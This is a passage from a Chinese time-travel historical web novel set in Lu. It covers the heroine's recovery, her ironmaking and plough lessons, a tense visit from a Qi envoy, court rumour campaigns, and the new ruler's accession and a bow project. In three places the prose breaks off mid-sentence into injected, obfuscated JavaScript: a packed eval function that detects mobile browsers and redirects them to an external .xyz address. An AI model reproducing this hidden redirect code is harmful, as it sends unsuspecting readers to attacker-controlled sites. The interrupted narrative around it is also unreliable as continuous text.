是王姬周琼,不顾单伯“于礼不合”、“恐惹非议”的苦苦劝阻,执意搬入宫中住下,分享周王室的医学典籍,与医正商讨方剂,甚至亲口尝药。 “太子更是…”小度抹着眼泪,忍不住插话,“太子这三天几乎没合过眼,除了必须由他主持的先君奠仪,其余时间都跪在太庙里向着列祖列宗祈福,祈求上天庇佑夫人您…医正每次来看诊,殿下都守在门外,紧张得不行…奴婢从未见过殿下如此…” 小度的话没说完,便被鲁同一声急促的咳嗽打断。他猛地别过脸去,耳根却不受控制地泛起红色,显然不习惯自己的这些举动被当众说出来。 待医官再次诊脉,确认江雅已无性命之忧,只需好生静养后,众人这才稍稍安心。太子要和臧达、展禽处理葬礼后续事务,先行告退。百里奚表示姬挥那些人必定还有后手,需去应对他们借此事故发起的政治攻讦。单伯把三天未合眼的周琼强行拉走,寝殿终于又安静了下来。江雅喝了两口小度喂的粥后,也沉沉睡去。 第二天,江雅一醒来,发现周琼已在一旁等候。 看到江雅醒了,周琼拿起一旁几案上的一张纸,笑道:“夫人整日奔波不定,现在总算是安定下来,可有功夫继续传授一些经世致用之学?” 江雅一看,认出那是自己在迎接周琼时做出来的那种纸,看来任明他们也没闲着啊。 江雅想起回来路上百里奚交代自己的事情,当时还为自己一言难尽的书法而头疼,现在正好名正言顺地找个专业捉刀,不由开口笑道:“正有此意!” 说是这么说,但是万事开头难。本就有选择困难症的江雅,一时竟不知从何说起,脑海里不停想起穿越名对:什么奇变偶不变,符号看象限;宫廷玉液酒,一百八一杯。 看着陷入沉思的江雅,熟悉她的小度知道,夫人肯定又是神游天外了。周琼无奈,咳了一声,把江雅的神思拉了回来。 江雅尴尬一笑,“要不,就从锄头说起?” “锄头?是做什么用的?” “用来耕地的,铁做的,只要轻轻一挥,就能挖起一大片土,比什么耒耜好用多了,本人亲测有效!” 要不是伤还没好,江雅真想拍拍胸脯给锄头代言。 “铁做的?据我所知,现在的铁冶炼效率本就低下,做出来的工具,质地软、韧性差,很容易卷刃、断裂,几乎没人愿意使用。”虽然知道江雅肯定有解决的办法,但周琼还是忍不住提出了自己的疑问。 “材质差是因为杂质多,可以用石灰,哦,就是白垩土去除。”江雅早就听老爸他们喝酒吹牛皮时讲过,五六十年代的土法大炼钢,就要用到石灰。更何况后来刷到冶铁炼钢的小视频时,又加深了不少印象。 看着周琼一脸迷茫的样子,江雅忍不住看向小度:“去,把任明叫过来。” 不一会,任明被带了过来。 江雅便开始和任明聊了起来。俗话说行家一出手,就知有没有。任明不愧是匠人出身,虽然对江雅的一些“溶剂、熔点”等专业名词不是太懂,但马上便抓到了关键点,对此又向江雅提出一些关键的疑问。 二人你来我回,技术交流地火热,周琼也不闲着,在一旁奋笔疾书,将两人的对话记录了下来,倒是看得小度满头大汗——感觉自己实在没用——只好时不时地给江雅递水。 接下来的日子,江雅的寝宫几乎成了一个小小的“皇家理工学院”。 任明早上来听江雅的理论教诲,下午立刻投身到伟大的实验中去。挑选木材烧炭、找矿、砌窑、锻造…第二天一早又把昨天的成果及遇到的问题向江雅汇报。 周琼则负责记录和梳理,她先将江雅和任明的口述交流一字不差地记录下来,下午又找江雅核对、提炼,然后将各种知识一一记录整理。 江雅半靠在榻上,享受着“技术总工”的待遇——自己动动嘴,看别人跑断腿,心里直呼爽歪歪。 这短暂的宁静与创造,极大地缓解了江雅自穿越以来就一直紧绷的神经和压抑的气氛。 然而,快乐的日子总是短暂的,不出意外的话,就要出意外了。 这日,鲁同正在与臧达、展禽讨论先君葬礼上发生的意外。忽然有侍卫走上前来,“禀太子,齐国上卿高奚请见。” 三人交换了一下眼神,均感意外,面色不由变得凝重,鲁同回道:“有请使者。”侍卫没走几步,臧达又把他叫住:“去把单伯先请过来。” 不一会,一个面色白皙,身材高大的人走了进来——正是高奚,后面跟着一些力夫,挑着一些礼盒。 “外臣高奚,奉我君上之命,特来拜见太子、并与单伯商议迎亲佳期。”说着,挥手递上手里的聘礼清单,并示意把身后的礼盒打开——玄纁、束帛、鹿皮,样样都按周礼备得周全,最关键的是,竟还带了一副彤弓彤矢。 这可是当初周王赐诸侯“专征伐”之权的信物,如今却被齐侯拿来当聘礼,就算是周室衰微,就算是齐强鲁弱,这般欺上门来,实在是欺人太甚! 鲁同、单伯、臧达、展禽的脸色瞬间冷了下来。 高奚并未在意众人的脸色,继续说道:“外臣闻,贵国曾为王姬筑了馆驿,可外臣前去,并未见到王姬,后来才得知鲁夫人为护储君身受重伤,王姬来国都照料夫人,这才一路追随至此。我君上听闻此事,忧心不已,特命外臣带来辽东老参、东海珠贝等薄礼,聊表慰问之意。” 鲁同手心骤然一紧,正要开口回绝,展禽早已按捺不住,愤然回道:“鲁国自有医正照料夫人,且夫人乃鲁国小君,外臣私赠药石,于礼不合。齐侯的心意,鲁国心领,但这药,还请使者带回。” 高奚手一顿,脸上的从容未散,眼底却掠过一丝不悦:“展大人未免太过拘礼。齐侯与夫人乃异母兄妹,兄妹间赠药,本是人之常情,何来‘于礼不合’?莫非鲁国连这点亲情都容不下?” 眼见气氛瞬间绷紧,单伯想起临行前周王的嘱咐,连忙打圆场道:“今日首要之事是议王姬婚期,齐侯既托使者前来,不如先说说婚期的打算?” “齐侯之意,秋八月乃‘万物成熟’之月,可取‘婚姻稳固’之吉兆,不知单伯与鲁国意下如何。” 单伯看了看鲁同和臧达,见二人并未反对意见,便回道:“就依齐侯之意。” 见正事敲定,鲁同便想送客。不料高奚却先开口:“我君上听闻夫人身受重伤,心急如焚,本想亲自前来,却为琐事缠身,故此特命外臣,定要探望夫人本人是否安好,方能回国,还请太子应允。” 鲁同压下心中的怒火,“娘亲重伤在身,不便见外人,还请使者回禀齐侯,齐国好意,我鲁国心领。” 高奚也是抬手一揖,“如此,太子便是让外臣无法复命了,临行前君上有令:‘使命未达者,斩!’外臣死不足惜,只怕齐侯将以外臣衅鼓,亲自领兵前来,届时两国干戈四起,于民何益?还请太子三思,体谅齐侯兄妹之情!” “你敢!”鲁同终于忍受不住,拍案而起,怒目圆睁。 臧达却是一把扯住鲁同,低声说道:“太子,不可冲动,夫人曾在齐国逼杀彭生自证,何等有谋?今日纵见高奚,也不会落了下风,要相信夫人!” 鲁同只好坐下,挥手示意边上的侍卫赶紧带高奚走。 另一边,江雅正和任明讨论曲辕犁的设计图,小度突然来报:“夫人,不好了,不好了!” 江雅正说到犁辕弯曲角度的关键处,被打断得很不耐烦,头也没抬:“怎么了?天塌下来有高个子顶着!慌什么!” “齐侯派高奚前来讨论王姬的婚期,然后现在非要求见夫人!听说还以动兵为要挟呢!” 小度急得快要哭出来。 一直静坐在一旁,正在认真记录犁具原理的周琼,听到自己名字的瞬间,执笔的手微微一颤,一滴浓墨猝不及防地滴落,在纸上晕开一团无奈的污迹。她缓缓放下笔,原本因专注于学问而有些神采的眸子,瞬间黯淡下去,只余下一抹难以言说的落寞。 自己这个政治联姻的牺牲品,没想到还连累了最好的朋友陷入战争的阴影。要是这宁静的生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江雅心里一阵恶心,猛地抬手推开近在咫尺的药瓶,动作牵扯到伤口,疼得她眉头紧蹙,语气却异常冷硬:“多谢齐侯好意,只是鲁国礼制,外臣的私礼,我不便收。还请使者将药带回,转告齐侯,我的伤势,鲁国医正自会照料,不劳齐侯挂心。” 高奚的手僵在半空,脸上的“和善”终于撕开一丝裂缝。他盯着江雅,声音压得更低,带着一丝只有两人能听见的急切,“夫人何必如此拒人千里?君上本欲亲自前来探视,他说……他说思念甚切,定要亲眼见您安然方能安心。只是顾忌两国体面,恐惹流言,才强抑关切,命我代劳。” 他顿了顿,“君上还说……若夫人在鲁国有任何不顺心,无论是朝堂倾轧还是宫内琐事,只需派人递个消息到临淄,君上必不惜烽火千里,挥师而来,为夫人扫清一切障碍!” “挥师而来”二字,说得轻描淡写,却显现出赤裸裸的霸道与偏执。 弱国无外交! 江雅胸腔剧烈起伏,这一刻,她突然无比真切地体会到了历史书中那些面对强权屈辱的先辈,是何等的悲愤与无力。 “高奚!”江雅强忍剧痛,挣扎着撑起上半身,目光如剑直刺高奚,“请你自重,也请齐侯自重!我乃鲁国夫人,与齐侯仅有舅甥之名!此等悖礼之言,若传扬出去,非但天下人耻笑,更是对天子赐婚的亵渎,对齐鲁邦交的破坏!若齐侯执意要兵戈相向,我江雅虽一介女流,也必倾鲁国之力”,她一字一顿,带着决绝的狠厉,“周旋到底,至死方休!” 高奚看着江雅,只觉得这个妇人明明重伤初愈,身体还很虚弱,但是眼神里却是透露出一股野兽般的凶狠与疯狂,叫人不敢直视。他心底苦笑,这两人不愧为两兄妹。 高奚深吸一口气,换上一种近乎无赖的恳求语气:“夫人既如此说,我便不再强求。只是这伤药,确是君上的一片心意,关乎夫人玉体。若夫人执意不收,奚便长跪于门外,直至夫人回心转意,否则,归国亦是死路一条,无法向君上复命。” 江雅看着高奚决绝的眼神,知道再拒绝只会更麻烦,只厌烦地挥挥手,让小度接过药瓶。高奚见她收了,脸色才缓和些,又叮嘱道:“这药每日敷一次,这是君上特意让医正写的用法,请一并收好。夫人若是觉得哪里不舒服,随时让宫人找我,我带了齐国最好的医正,就住在城外的馆驿。” 看着一脸疲惫的江雅,高奚知道不便继续打扰,便行礼告辞。 殿内重归寂静,却弥漫着一种难以言喻的压抑。江雅无力地靠回枕上,重重叹了口气,只觉得比跑了一天业务还累。她转头看向周琼,只见好友仍怔怔地望着高奚离去的方向,眼神空洞,唇边噙着一丝苦笑。 “阿琼,”得知周琼竟亲口给自己试药后,二人的关系不禁又进一层,私下里江雅已是这般亲昵地称呼她,“对不住,让这混账东西,搅了我们的清静,还拿你的婚事当幌子。” 周琼缓缓回过头,那抹苦笑在嘴角化开,变成深深的无奈:“夫人何须道歉。我早该明白,自天子下诏那日起,我的身份,便首先是王室与齐国之间的一个纽带,其次才是周琼。”她目光落在小度手中那瓶药上,声音轻得像叹息,“齐侯对夫人尚且如此…执念深重,令人心悸。我此行前去,前途如何,可想而知。” 看着周琼眼中流露出的、与她年龄不符的苍凉和认命感,江雅的心狠狠一揪。她想起星空下那个侃侃而谈、眼中闪着理想光芒的少女,与此刻判若两人。她强撑着伸出手,紧紧握住周琼微凉的手指。 “阿琼,别怕!”江雅的声音因虚弱而微颤,却异常坚定,“记住那晚你说过的话吗?‘女子未必不如男’!姜诸儿是个疯子不假,但你不是任人摆布的玩偶。你是周王室的公主,是读过万卷书、明晓天下事的才女!就算身陷囹圄,也要想办法在里面开出花来。鲁国就是你的娘家,我永远站在你这边。他齐侯若敢欺辱你,我…我总有办法让他不好过!” 周琼闻言,眼眶蓦地红了。反手用力回握住江雅的手,仿佛要从那温暖的触碰中汲取力量。她深吸一口气,努力扬起一个笑容:“夫人…谢谢你。是啊,纵然前路荆棘,我也不能先失了志气。我一定要像夫人一样,无论多难,都要活得堂堂正正,守住自己想守护的东西。” 她们一个是挣脱过去枷锁的战士,一个是即将踏入未知牢笼的公主,两个女子的手紧紧交握,在这充满算计与压迫的世界,无声地温暖着彼此。 前方究竟会如何呢? 且让我们一起携手并进吧! 19. 第十九章 舆论战 就在江雅与高奚交锋的同时。 姬挥府邸的密室,烛火摇曳,将三人身影投在壁上,却照不亮他们脸上的阴沉。 “废物!八个人!抬一副棺材!连一个小子和一个妇人都解决不掉!”姬挥的声音不高,却带着刺骨的寒意。 申需冷汗涔涔:“夫子息怒!谁…谁也没想到那女人竟会…竟有那般力气和疯劲,不过,那八名力夫已按计划,‘意外’失足落水,全部处理干净了,保证死无对证。” 姬挥枯瘦的手指有一下没一下地敲击着案几,发出令人心烦的笃笃声。他眼皮耷拉着,语气却冰冷异常:“干净?死人是干净了,活人的嘴呢?现在满曲阜都在传颂那毒妇‘舍身救子’的壮举!我们费尽心机,倒成就了她的一番名声!” 一直沉默的鲁庆,此刻抬起头,眼中闪烁着毒蛇般阴冷的光:“夫子,流言如水,可疏可导。她既敢演这出苦肉计,我们便帮她坐实了!可派人四处散播,说那日之事本就是她精心策划,买通力夫,演给太子和国人看的,只为博取同情,掩盖其弑夫恶行!”他顿了顿,嘴角勾起一抹诡笑,“同时,在宗妇闺阁之间,可悄然流传,说是先君亡灵显圣,对其害死自己之举愤怒不已,故棺椁坠落,乃先君之怒也!鬼神之事,最是捕风捉影,却也最难辩驳。” 姬挥眯着眼,沉吟片刻,缓缓点头:“此计甚毒…甚好。双管齐下,无论国人信哪一说,都足以让她浑身是嘴也说不清。就这么办吧。” 他对鲁庆的急智表示满意,但随即警告道,“此次务必谨慎,绝不可再节外生枝!” 于是,本就因葬礼上的意外而热闹非凡的国都,现在越发地喧嚣。 曲阜的晨光刚漫过城墙,西市的菜摊就已聚满了人,“诶,听说了吗?那日葬礼上的事儿,恐怕没那么简单……”一个卖菜的妇人一边择菜,一边压低声音对旁人说道,“哪就那么巧了?八个抬棺的壮汉,都站不稳?偏偏就朝着太子去?偏偏就让那位冲上去挡了?” “你的意思是?” “哼,保不齐啊,就是有人自导自演的一出好戏!想想看,如今谁的名声最响?谁成了舍身护国的贤母?先前那些关于她的难听话,是不是没人提了?” 大妈意味深长地眨眨眼,“买通几个力夫,演一场惊险的戏码,自己受点‘恰到好处’的伤,既能洗刷恶名,又能让太子死心塌地,这算计,深着呢!” 人群里顿时响起一阵附和,有人摇头叹“妇人心思深”,有人骂“毒妇又耍花招”,连刚从城外送柴回来的樵夫都插了嘴:“我今早进城时,还听见有人说,那力夫家的婆娘昨儿在河边哭,说她男人前儿还跟她说‘会有一场大富贵了’,哪晓得是要去送命!” 城东的太祝府邸里,宗妇们的聚会也弥漫着诡异的气氛。 太祝夫人姜氏脸色发白地看向众人,“我听闻那日棺椁坠地时,有宫人隐约听到一声男子的叹息,像是……像是先君的声音!都说亡灵有知,莫非是先君冤魂不散,见那……见那害他之人竟安然高坐,心中忿怒,才显灵警示?” “哎呀!可不敢胡说!”一名宗妇显然被吓得不轻。 “怎么是胡说?你想想,那棺椁何等沉重稳固,若非冥冥中有股力量,怎会偏偏在那一刻出事?还正好是冲着太子去?这难道不是先君在提醒国人,莫要认贼作母,护佑鲁氏正统血脉吗?” 赢粲却并没有被吓到,一直致力于扶儿子上位的她,却并不知道这一切背后都是是自己儿子在推动,她隐隐觉得机会来了,眼珠子一转,就也加入了群聊:“会不会是先君觉得太子……唉,毕竟太子年幼,又长期养在深宫,未经风雨,怕是……难当大任,镇不住这突如其来的灾厄,才引得先君不安呐?” 她这话说得委婉,却像一滴冷水溅入滚油,瞬间炸开。太祝夫人接口道:“赢妹妹此言,倒提醒了我,如今国丧期间祸事频生,莫非是因嗣君德薄,以致祖宗不宁?” 另一位与赢粲交好的宗妇也心领神会,故作忧色:“若是如此,那可真是国之隐忧了。先君显圣,警示的或许不单是那一位,更是担忧社稷传承啊!听说齐侯最近还派人送药来了,齐鲁之间相隔这么远,这才几天啊,药就送到了,如此快的速度,要说齐侯和那一位之间没什么,谁信!太子若真‘难承重负’,为鲁国长远计,是否……当另择贤明?” 赢粲满意地听着话题正转向自己想要的方向,却故作惶恐地摆手:“哎呀,诸位姐姐慎言!太子名分已定,我等岂可妄议?只是,若真是先君之意,我等为人臣妾者,又岂能罔顾天意?” 很快,这种结合了“江雅自导自演”和“先君不满太子”的升级版流言,如同瘟疫般在曲阜加速蔓延。 “夫人,不好了,不好了!”小度慌慌张张地冲进寝宫。 “又怎么了?”江雅没好气的问。 “夫人,外面传言说,说上次葬礼上的意外,是你为了博得太子的同情,串通了那些力夫,演的一场戏,还有”,小度伸出一只手指,往上指了指,“还有的说,棺椁意外掉落,是先君特意显灵,对你的惩罚。” “就这?”江雅掏了掏耳朵,“关于我的流言蜚语还少吗,我早习惯了,随他们传吧,聪明的人是不会相信这种低级的流言的,相反,蠢的人,再怎么解释也是没用,不用理会。” 小度急得跺脚:“夫人!这次不一样!他们还说先君显灵,是对太子殿下不满,觉得太子德不配位,才降下灾祸!连带着…连带着说齐侯送药来得太快,是你和他早有勾结的证据!” 江雅瞬间警觉。 骂我可以,敢动我儿子?还有,这话里话外怎么听着有点像赢粲的风格,莫非又是她搞的鬼?上次才挨了二十板子,现在又跳出来闹腾了,真是不长记性。不过这次扯上了先君显灵,的确是不好应付啊。 江雅烦躁地抓了抓头发,实在想不出什么好办法。 小度在一旁小声地说道:“要不要请臧夫子他们来商议一下?” “对啊!”江雅一拍脑袋,“三个臭皮匠,顶个诸葛亮。去把展禽还有百里奚都叫过来。” 片刻功夫,臧达、展禽与百里奚便先后赶到江雅寝宫。听小度气鼓鼓地又复述了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529943|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍流言,三人的脸色都凝重起来。 展禽最先按捺不住,他性情刚直,最恨这等鬼蜮伎俩,当即怒道:“荒谬!绝顶荒谬!什么先君显灵,纯属无稽之谈!此等流言,惑乱民心,动摇国本,其心可诛!夫人,应立即下令司寇彻查流言源头,将造谣生事者缉拿,严惩不贷!以正视听!” 臧达捋着花白的胡须,缓缓摇头,:“稍安勿躁。流言如草,割之复生。若背后无人主使推波助澜,断不会传播如此之快,且句句直指要害。老夫看来,这‘自导自演’与‘先君显灵’看似矛盾,实则为同一伙人所为,前者毁夫人名节,后者撼太子根基,双管齐下,其目的……不言而喻。”他没有点名,但在场诸人心中都浮现出姬挥的影子。 “臧夫子所言极是。”等到臧达和展禽说完,百里奚才缓缓开口,“堵不如疏,严刑峻法或许能一时压制,却难堵悠悠众口,反而可能坐实我们‘心虚’。彼既借鬼神之力,我们何不顺势而为,以子之矛攻子之盾?” “哦?如何以子之矛攻子之盾?”江雅来了兴趣,到底是上了课本的名人,果然有两把刷子! 百里奚从容道:“他们不是说棺椁坠落是凶兆,意指太子德不配位吗?那我们便反其道而行之。可令国人皆知:那棺椁乃上等梓木所制,重逾千钧,八名精壮力夫尚且失手,为何夫人一介女流,竟能于千钧一发之际,以单薄之躯扛住坠势,护得太子周全?” 他顿了顿,环视众人,声音不高却极具穿透力:“此非人力可为,实乃上天垂怜,赐予夫人神力!上天为何如此?正是为了昭示天下——太子鲁同,乃天命所归! 故降下祥瑞,假夫人之手,免遭小人暗算!此非灾厄,实乃我鲁国得蒙上天庇佑之莫大福兆!” “妙啊!”江雅一拍案几,兴奋地差点站起来,“好一招斗转星移!” 臧达眼中也露出赞赏之色:“移花接木,化险为夷。百里先生此计,确实高明。如此一来,流言不攻自破,太子的地位反而因这‘天兆’而更加稳固。” 展禽虽然觉得借助“神力”之说仍有些违背他的理念,但也不得不承认这是目前破解困局最有效的办法,他皱着的眉头稍稍舒展:“若此策能安民心、定国本,展禽亦无异议。” 百里奚趁热打铁,向江雅拱手:“夫人,事不宜迟。为安民心,顺天意,臣建议,当立即筹备太子殿下正式继位大典。名分既定,则流言自消。君位稳固,则宵小之辈再也无机可乘!” “不错!”臧达应和道:“百里先生此言大善!正当借此东风,将继位大典办成定鼎国本之事!此前忙于追查阴谋,险些耽搁了这安定人心的根本!” “好!”江雅斩钉截铁,“就按百里先生说的办!臧夫子,烦请您即刻与宗伯商议继位典礼事宜。展禽,城中治安和舆论,就交由你留意。百里先生,总体谋划,还需你多费心。” 众人拱手允诺,然后相继退出。 一场针对江雅母子的舆论风暴,在百里奚的奇谋下,瞬间被扭转了方向,变成了巩固鲁同君位的最佳助攻。曲阜的天空,风云再次变幻。 20. 第二十章 母与子 鲁同的继位大典,在臧达与宗伯的主持下,依足了周礼。虽因国丧在身,减去了几分喧闹的乐舞,但那肃穆的氛围反而更显庄严。 太庙之中,香烟缭绕。新烧制的青铜礼器在烛火下泛着幽深的光泽。鲁同身着繁复的玄端礼服,头戴冕旒,一步步走向庙堂中央。赞礼官高亢悠长的唱诵声在殿堂内回荡,告慰列祖列宗,鲁国迎来了新的君主。江雅作为母后,虽然旧伤未愈合,但仍强撑着立于一侧特定的位置。 看着那个曾经与她疏远、甚至充满怨恨的少年,如今在冗长而繁琐的礼仪中,身形虽仍显单薄,但脊背挺得笔直,眼神里已有了属于国君的沉静与威仪。 当鲁同最终在宗伯的引导下,跪拜天地先祖,接过象征国君权力的玉圭和信玺时,江雅悬着的心终于落下,嘴角不自觉的扬起一抹欣慰的笑容。这孩子,终于还是长大了。 大典礼成,群臣参拜新君。回到日常议事的朝堂,鲁同端坐于君位,开口的第一道指令,清晰而坚定:“百里奚先生,才识过人,于国有功。寡人决意,任命百里奚为上大夫,入朝参赞国政!” 此言一出,殿内顿时响起一阵细微的骚动。姬挥眼帘低垂,不动声色,站在他下首的申需立刻心领神会,出列高声反对:“君上!此事万万不可!百里奚来历不明,出身卑微,曾为皂隶。我鲁国乃周公之后,礼法森严,上大夫之位,素由世卿贵族出任,岂可授于一介奴虏?此举若行,只怕世卿寒心,礼崩乐坏,徒惹天下耻笑!” 臧达闻言,立刻出言驳斥:“申大夫此言差矣!治国之道,首在任贤。古之明君,拔傅说于版筑,举伊尹于庖厨,何尝拘泥于出身?百里先生之才,有目共睹,破格任用,正显君上求贤若渴,有何不可?” 展禽也肃然道:“值此国家用人之际,当以才德为先。百里奚之贤能,足堪此任,若因出身而弃之,岂非因小失大?” 双方各执一词,朝堂之上争论不休。鲁同静静听着,待声音稍歇,他才缓缓开口,:“申大夫口口声声礼法,寡人且问你,礼法为何而设?” 申需一愣:“自然是为定尊卑,明秩序,以安邦国。” “不错。”鲁同声音平和,却带着不容置疑的力量,“礼法为安邦国而设。若拘泥于虚礼而弃贤才,致使国政不修,岂不是本末倒置?至于出身”,他目光扫过姬挥,最终落在申需身上,“寡人尚可体谅那日葬礼之上,八名力夫或因哀伤过度,以致步履不稳,酿成‘意外’,不予深究。诸位又何必对一位贤才的过往,斤斤计较?” 这番话,声音不大,在姬挥等人听来却有如惊雷。姬挥的嘴角几不可察地抽搐了一下,依旧沉默。申需脸色煞白,冷汗涔涔,一时语塞。 姬挥到底是老奸巨猾,他知道绝不能承认,甚至不能表现出丝毫心虚。他深吸一口气,压下心中的惊怒,脸上挤出一丝看似恭顺的表情,拱手道:“新君求贤若渴,实是国家之福。只是,此事关乎国体,还望君上三思而后行。然,君命既出,臣等,自当遵从。”他刻意强调了“君命”与“遵从”,看似退让,实则把“破坏礼法”的责任轻轻推到了新君头上。 其他大夫见姬挥态度软化,虽仍有窃窃私语,但反对的声音也小了下去。鲁同不再给他们机会,一锤定音:“此事已决,即刻举行册命之礼!” 于是,在一种微妙而紧张的气氛中,百里奚双手接过鲁同颁下的册命竹简以及象征身份的冕服、圭璧,竹片上 “上大夫百里奚” 六个朱砂字,烫得他指尖微微发颤。他抬眼望向御座上的少年国君,喉结不自觉地滚动了两下,心底翻涌的情绪几乎要压不住。 此前江雅虽以私意提拔,口头上许了他上大夫之职,可在宗室眼里,终究是 “外邦奴隶攀附的私臣”。如今经国君正式册命,盖了鲁国的大印,才算真真正正得了礼制认可。这不仅是官职,更是他半生漂泊里,第一次被人正眼看见 “满腹经纶” 的尊严。 他忽然想起二十年前,辗转郑、虞列国,想找一位能听他论 “富国强兵” 之策的明主,却只能在酒肆里替人算卦混饭吃;后来虞国灭亡,他更是被晋军掳走,当了三年奴隶,任人践踏,尊严尽丧。那时他以为,这辈子都要烂在泥里,再也没机会让家族荣光重见天日。 是她,江雅,那个行事总是出人意料的鲁君夫人,是她把自己从漆黑的深渊拉了出来;如今鲁国新君又以国礼相待,给了他施展平生所学的机会。 眼眶微微发热的百里奚,对着鲁同,郑重地行了一礼。 与朝堂上这暗流涌动的政治妥协不同,公子庆的府邸里,则是另一番景象。 鲁庆眼看着鲁同风光继位,心中妒火中烧,几乎要将理智烧尽。他铁青着脸冲回府中,直奔赢粲处,劈头盖脸地质问:“是不是你!是不是你在外面乱说话,说什么太子德不配位,才让他们找到借口,顺势把‘天命所归’的戏码做足,逼得鲁同这么快就继位了?!” 赢粲看着满脸怒容的儿子,不禁害怕地往后躲了躲,然后才怯懦地、带着一丝讨好地承认,“娘真的只是想帮你…” “蠢货!!”鲁庆不等她说完,已是勃然大怒,额头青筋暴起,“你这叫帮我?你这叫害我!你知不知道你这么做,正好给了他们由头!现在全城都在说鲁同是天命所归!都是你这蠢妇坏事!” 鲁牙闻声赶来,看到大哥对母亲怒吼,立刻冲上前护在赢粲身前:“大哥!你怎么能这样对娘亲说话!” 赢粲见状,非但不感激,反而一把拉过鲁牙,厉声教训道:“牙儿!不得无礼!长幼有序,尊卑有别,你怎么能指责你大哥!为娘做的一切,都是为了你大哥的前程,只要你大哥能顺利登上国君的位子,你和我,我们一家才有好日子过!”她说着,又转向鲁庆,语气带着卑微的讨好,“庆儿,你别生气,娘以后再也不乱说话了,娘只是…只是不想看你总是受委屈。” “长幼有序,尊卑有别…”鲁庆听着这八个字,看着母亲那副卑躬屈膝、涕泪横流的模样,再想到自己就是因为这该死的“庶出”身份,才与君位失之交臂,自己明明文韬武略都比鲁同那个小子强上百倍!压抑多年的委屈、愤怒和不甘,在姬挥那里受到的威胁与屈辱在这一刻彻底爆发! “委屈?!我最大的委屈就是有你这样一个上不得台面的娘!”他猛地甩开赢璨,声音尖厉得刺耳,“就是因为你是妾!我才永远是庶子!永远低人一等!永远要看着那个女人的儿子的脸色!你除了会哭哭啼啼、自作聪明地坏我的事,你还会做什么?!啊?!” 他状若疯魔,竟真的抬脚向赢璨踹去! “大哥!”鲁牙虽然对母亲刚才的训斥心有怨气,但眼见母亲要挨打,还是本能地冲上去死死抱住鲁庆。一时间,母子三人扭作一团,哭喊声、斥骂声不绝于耳,场面混乱不堪。 良久,鲁庆看着被母亲护在身下、却依旧用愤怒仇恨的目光瞪着自己的弟弟,再看看披头散发、卑微到泥土里的母亲,一股巨大的、令人作呕的绝望和暴戾淹没了他。 与此同时,江雅寝宫中却是难得的宁静温馨。 即位仪式结束后,鲁同脱下繁重的礼服,换上一身素净的常服,第一次主动来到了江雅的寝宫。 母子二人再次相对,气氛却与以往任何一次都不同。那巨大的、冰冷的隔阂似乎已经悄然融化了一角。 鲁同沉默地站了一会儿,从袖中取出一个精致的小陶罐,放在江雅榻边的几案上。 “这是宫中新熬的饴糖,用的是…鲁国的麦子。”他声音有些干涩,眼睛看着别处,“医官说…吃药后含一颗,不会那么苦。” 江雅看着那罐糖,眼眶瞬间就红了。她想起自己回国之后,也曾用一罐糖想去讨好他,却被他狠狠踩碎。这一次,糖换成了他送的。 她小心翼翼地拿起罐子,捧在手心,像是捧着什么绝世珍宝,声音哽咽:“谢谢…同儿。” 鲁同飞快地瞥了她一眼,看到她微红的眼圈和珍惜的模样,有些不自在地抿了抿唇,低声道:“该我谢你,若不是你…我…” “你我母子,何必言谢。”江雅打断他,努力扬起一个笑容,“看到你好好的,比什么都强。” 一阵短暂的沉默后,江雅试着寻找话题:“如今你已是一国之君,可有想过,想要一件什么样的即位礼物?” 鲁同闻言,微微一怔。他垂下眼睑,似乎陷入了某种回忆,良久才轻声道:“父亲…先君在世时,曾教我射箭。他说,君子六艺,射以观德,可明心志,可御外侮。只是,那张弓,后来不知去向了。” 他的语气里,带着一丝不易察觉的怀念和失落。 江雅的心像是被轻轻揪了一下,她握住鲁同的手,说:“好!那娘亲就送你一张弓!送一张这天下最好、最厉害的弓!” 她立刻找来任明,看了看当时通用的弓箭。 “怎么这么短小?”江雅回忆起以前看《甄嬛传》里,果郡王和皇上在圆明园射箭打野物的那个镜头,用的弓箭可比这个要长多了,而且弓梢好像也不是这么直挺挺。 她连说带比划地对任明描述:“任大人,你看,能不能把弓做得再大一些,特别是这个弓梢,要长出去,还要像这样……反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529944|186359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向弯回来?”她用手比划着一个夸张的反弧形。 任明拿着现有的弓,皱着眉头研究了半天,为难道:“夫人,您说的这种弓形,构思巧夺天工,若真能制成,威力必然惊人。只是……这弓梢要既长且韧,还能反向弯曲,靠现有的胶恐怕难以做到,需要一种粘合力极强、又能耐得住弓身反复张弛之力的胶才行。此种胶,属下闻所未闻。” 自知婚期将近的周琼,格外珍惜与江雅相处的时光,只要江雅有空就过来找她。此刻,在听说了任明的难点后,悄悄地记了下来,博闻强记的她,隐隐觉得好像有种东西,可以帮到江雅。 回到住处后,她便联系展禽,一头扎进了鲁国收藏典籍的府库之中,日夜翻检那些古老的竹简和帛书。 几日后的一个傍晚,周琼带着几分雀跃来到江雅面前,手中捧着一卷古老的竹简:“夫人,你看!我在一篇记载殷商旧制的文献里看到,当时制作战车和重器,会用一种名为‘鱼鳔胶’的粘合剂,取自大鱼之鳔,熬制而成,据说其性极粘,坚不可摧!” 